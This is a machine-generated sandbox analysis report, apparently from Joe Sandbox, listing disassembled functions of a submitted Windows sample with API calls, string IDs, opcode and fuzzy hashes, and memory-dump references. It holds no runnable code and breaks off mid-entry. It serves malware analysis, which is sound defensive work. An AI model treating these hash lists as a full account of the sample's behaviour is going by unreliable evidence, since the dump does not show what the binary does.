                                                    • Opcode ID: 9eab8ee9825a9fbd44869a095635737d99e10a8ea38952c2113d32bd4c9397e1
                                                    • Instruction ID: 171f60cf0536e381e9dd6c6e71f96f09d87888ea8165b2a04250ab5cc8896131
                                                    • Opcode Fuzzy Hash: 9eab8ee9825a9fbd44869a095635737d99e10a8ea38952c2113d32bd4c9397e1
                                                    • Instruction Fuzzy Hash: AB415011A2C64381FA50AF29DC916BA6273EF94784F4C5436D64EC6BDFEE2CE504AF40
                                                    Function 00007FF6399B20F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: MoveWindow$ObjectSelect$DrawReleaseText
                                                    • String ID: P%
                                                    • API String ID: 2147705588-2959514604
                                                    • Opcode ID: d5dd136cfe9f7ccbcb0fe4cae99cf14dfe1cc9f89db7d8019ba122c6a34f6d98
                                                    • Instruction ID: fa8e9d4263bfe59c2a42506e995e169acd11e49ed0ba84de262ca2074e937121
                                                    • Opcode Fuzzy Hash: d5dd136cfe9f7ccbcb0fe4cae99cf14dfe1cc9f89db7d8019ba122c6a34f6d98
                                                    • Instruction Fuzzy Hash: F35109266087A186D6349F26E4581BAB7A2FB98B61F044135EFDE83789DF3CD085DB10
                                                    Function 00007FF6399C55A0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 493COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID: -$:$f$p$p
                                                    • API String ID: 3215553584-2013873522
                                                    • Opcode ID: 21cbc72c7e6dc269be11e21f83bf2085e3383c5e1ad4ae35147280bf7774980f
                                                    • Instruction ID: 48582fcce067e548d7ff64fa9bcd0a941ca91e384192d6a1e30635a58c4cda00
                                                    • Opcode Fuzzy Hash: 21cbc72c7e6dc269be11e21f83bf2085e3383c5e1ad4ae35147280bf7774980f
                                                    • Instruction Fuzzy Hash: CB129062E0C24386FB209E15D9542B97693FB80750FDC4136E689867DEDF3CE990AF06
                                                    Function 00007FF6399C02E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID: f$f$p$p$f
                                                    • API String ID: 3215553584-1325933183
                                                    • Opcode ID: 1ce7302e2fd45bb0c0c54093c0ec2c5d292275181cf657796836d36714c503ba
                                                    • Instruction ID: b22143bc2f50c93a94027eabebbc1d648cdc0b5d8ac31c508ef791fd44ae314e
                                                    • Opcode Fuzzy Hash: 1ce7302e2fd45bb0c0c54093c0ec2c5d292275181cf657796836d36714c503ba
                                                    • Instruction Fuzzy Hash: 1F12AF26E0C14386FF249E14E9147BA6653FB80754F8E4132E699867CEDF3DE980AF10
                                                    Function 00007FF6399B1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 111COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message
                                                    • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                    • API String ID: 2030045667-3659356012
                                                    • Opcode ID: 4401cf50fc904f56722c9161136120d8e1abc21bd9f4aa9546769290e853ac70
                                                    • Instruction ID: 0656befebd02a607eecd6784ab166cc334db0202db01afd324cccb4f319f27e2
                                                    • Opcode Fuzzy Hash: 4401cf50fc904f56722c9161136120d8e1abc21bd9f4aa9546769290e853ac70
                                                    • Instruction Fuzzy Hash: 6A414D21B0864782FA249F12A8405BAA3A2FF54BC4F4C4031DD5E87BDBEE3CE545AB40
                                                    Function 00007FF6399B1440 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 100COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message
                                                    • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                    • API String ID: 2030045667-3659356012
                                                    • Opcode ID: 49fb08a2c48a59e9195e8aa47434fe87565798205ba13dfc5f4053eff723cb9c
                                                    • Instruction ID: b7f635d2939a4e9c54fc4397f5e1d3c783f9f7279b58712285b08c5a9790cbc6
                                                    • Opcode Fuzzy Hash: 49fb08a2c48a59e9195e8aa47434fe87565798205ba13dfc5f4053eff723cb9c
                                                    • Instruction Fuzzy Hash: 24414122B0864382EA249F15A8515BA63A2FF54BD4F5C4031DE4E87BDBEE7CE545AB00
                                                    Function 00007FF6399BDD28 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                    • String ID: csm$csm$csm
                                                    • API String ID: 849930591-393685449
                                                    • Opcode ID: 9e3578d2910a1de3a92e15cd58e24121979594cfb80c91fc1a566261b89881c5
                                                    • Instruction ID: be69ab4e69ac48f3952225d81e177e4215e21436fb178db1042bd068d56b4a83
                                                    • Opcode Fuzzy Hash: 9e3578d2910a1de3a92e15cd58e24121979594cfb80c91fc1a566261b89881c5
                                                    • Instruction Fuzzy Hash: 74D17B72A087418AEB249FA5D4403AD37B6FB55788F184235EA4D97BDADF3CE480DB40
                                                    Function 00007FF6399CE020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • FreeLibrary.KERNEL32(?,?,?,00007FF6399CE3BA,?,?,0000019DE7D169F8,00007FF6399CA063,?,?,?,00007FF6399C9F5A,?,?,?,00007FF6399C524E), ref: 00007FF6399CE19C
                                                    • GetProcAddress.KERNEL32(?,?,?,00007FF6399CE3BA,?,?,0000019DE7D169F8,00007FF6399CA063,?,?,?,00007FF6399C9F5A,?,?,?,00007FF6399C524E), ref: 00007FF6399CE1A8
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressFreeLibraryProc
                                                    • String ID: api-ms-$ext-ms-
                                                    • API String ID: 3013587201-537541572
                                                    • Opcode ID: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
                                                    • Instruction ID: 85eb7221287fff1d5a213cf0af7511734a256e2e29c285743cb30f9121d4e54d
                                                    • Opcode Fuzzy Hash: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
                                                    • Instruction Fuzzy Hash: F141CF21F19A0286EB268F56AC006752293BF45BA0F0D4135DD0EC77CEEE3CE885AF40
                                                    Function 00007FF6399BCFE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • LoadLibraryExW.KERNEL32(?,?,?,00007FF6399BD29A,?,?,?,00007FF6399BCF8C,?,?,?,00007FF6399BCB89), ref: 00007FF6399BD06D
                                                    • GetLastError.KERNEL32(?,?,?,00007FF6399BD29A,?,?,?,00007FF6399BCF8C,?,?,?,00007FF6399BCB89), ref: 00007FF6399BD07B
                                                    • LoadLibraryExW.KERNEL32(?,?,?,00007FF6399BD29A,?,?,?,00007FF6399BCF8C,?,?,?,00007FF6399BCB89), ref: 00007FF6399BD0A5
                                                    • FreeLibrary.KERNEL32(?,?,?,00007FF6399BD29A,?,?,?,00007FF6399BCF8C,?,?,?,00007FF6399BCB89), ref: 00007FF6399BD113
                                                    • GetProcAddress.KERNEL32(?,?,?,00007FF6399BD29A,?,?,?,00007FF6399BCF8C,?,?,?,00007FF6399BCB89), ref: 00007FF6399BD11F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Library$Load$AddressErrorFreeLastProc
                                                    • String ID: api-ms-
                                                    • API String ID: 2559590344-2084034818
                                                    • Opcode ID: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
                                                    • Instruction ID: c33bfc9449a0bafd8bc4479af2f731b1775dfc1c6ded1b778bfb34e45dbe6074
                                                    • Opcode Fuzzy Hash: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
                                                    • Instruction Fuzzy Hash: C031C466B1AA42D1EE159F12A84067563A6FF08BA4F5E0535DD1D873CAEF3CE442DB00
                                                    Function 00007FF6399CA460 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: 67217a7fc91f5e25160bb9a3b2c8204a3bd01eab0ccbfeeabb81ecf6e12f005c
                                                    • Instruction ID: 98f7ee20a10b87008a569240446f8a3cf98074ea76f3445855d27169c2225e3a
                                                    • Opcode Fuzzy Hash: 67217a7fc91f5e25160bb9a3b2c8204a3bd01eab0ccbfeeabb81ecf6e12f005c
                                                    • Instruction Fuzzy Hash: AF217921E0E24246FA686F615E9523D61835F887B0F0C4734E93E86BDFEE2CB8416F01
                                                    Function 00007FF6399D707C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                    • String ID: CONOUT$
                                                    • API String ID: 3230265001-3130406586
                                                    • Opcode ID: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
                                                    • Instruction ID: c327a1c576fd2c23f4cfda020a9c6fec5d5f84435993d5abf32d11c4a5d136ca
                                                    • Opcode Fuzzy Hash: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
                                                    • Instruction Fuzzy Hash: 8B115E21A18A4686E7508F56E89532963A2FF98FE4F084234EA5DC77D9DF7CE444CB40
                                                    Function 00007FF6399B81F0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCurrentProcess.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B821D
                                                    • K32EnumProcessModules.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B827A
                                                      • Part of subcall function 00007FF6399B86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6399B3FA4,00000000,00007FF6399B1925), ref: 00007FF6399B86E9
                                                    • K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B8305
                                                    • K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B8364
                                                    • FreeLibrary.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B8375
                                                    • FreeLibrary.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B838A
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
                                                    • String ID:
                                                    • API String ID: 3462794448-0
                                                    • Opcode ID: 9b5c0b85d41d77bb9b541fba6b9840375d9a6616c292d566ae331ce4538faf90
                                                    • Instruction ID: 834c98667831e22057056d3d4d063e21c466b5403ca761783c5083c2f809bae7
                                                    • Opcode Fuzzy Hash: 9b5c0b85d41d77bb9b541fba6b9840375d9a6616c292d566ae331ce4538faf90
                                                    • Instruction Fuzzy Hash: B441B162A1968281EA709F12A4442BA73A6FF88BC0F484135DF9D977CEDE3CE401DF10
                                                    Function 00007FF6399CA5D8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA5E7
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA61D
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA64A
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA65B
                                                    • FlsSetValue.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA66C
                                                    • SetLastError.KERNEL32(?,?,?,00007FF6399C43FD,?,?,?,?,00007FF6399C979A,?,?,?,?,00007FF6399C649F), ref: 00007FF6399CA687
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: ef20b32075126869ce53cf62fbcb139ef3f5263cb698c8c2b5617054fce20239
                                                    • Instruction ID: d0d6dfc03a0201b81b477cb8c7326a4229aa5e60da1a3ab539e8ef9ced94ed27
                                                    • Opcode Fuzzy Hash: ef20b32075126869ce53cf62fbcb139ef3f5263cb698c8c2b5617054fce20239
                                                    • Instruction Fuzzy Hash: 47114A21E0A64246FA546F615F9517D62835F887B4F0C4734E93E867DFEE2CB8416F01
                                                    Function 00007FF6399B2300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
                                                    • String ID: Unhandled exception in script
                                                    • API String ID: 3081866767-2699770090
                                                    • Opcode ID: 2f02a126994589ece2bf0b221661227d336c2ada993d2ff489732679099e34b6
                                                    • Instruction ID: cbaf5964c2b4139f0680a1699e72caa7d2f2fa6da66d69b672354178729cdca2
                                                    • Opcode Fuzzy Hash: 2f02a126994589ece2bf0b221661227d336c2ada993d2ff489732679099e34b6
                                                    • Instruction Fuzzy Hash: CE315432A0968289EB20EF61E8552F97361FF89784F480135EA4D8BB9EDF3CD144DB00
                                                    Function 00007FF6399B2760 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message$ByteCharMultiWide
                                                    • String ID: %s%s: %s$Error$Error/warning (ANSI fallback)
                                                    • API String ID: 1878133881-640379615
                                                    • Opcode ID: c7e22cebafa3b4081381e7f20538df90bc3c47857982eb0ae5879fef5a553f49
                                                    • Instruction ID: 1ac101d0c203c0f0ee4e8647d6ea34baa88638c2cf30ff0367ecb9b73be292d2
                                                    • Opcode Fuzzy Hash: c7e22cebafa3b4081381e7f20538df90bc3c47857982eb0ae5879fef5a553f49
                                                    • Instruction Fuzzy Hash: E3216072A28A8681E6209F10F4917EA6365FF84784F440036EA8D837DEDF3CD645DF40
                                                    Function 00007FF6399C8DA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
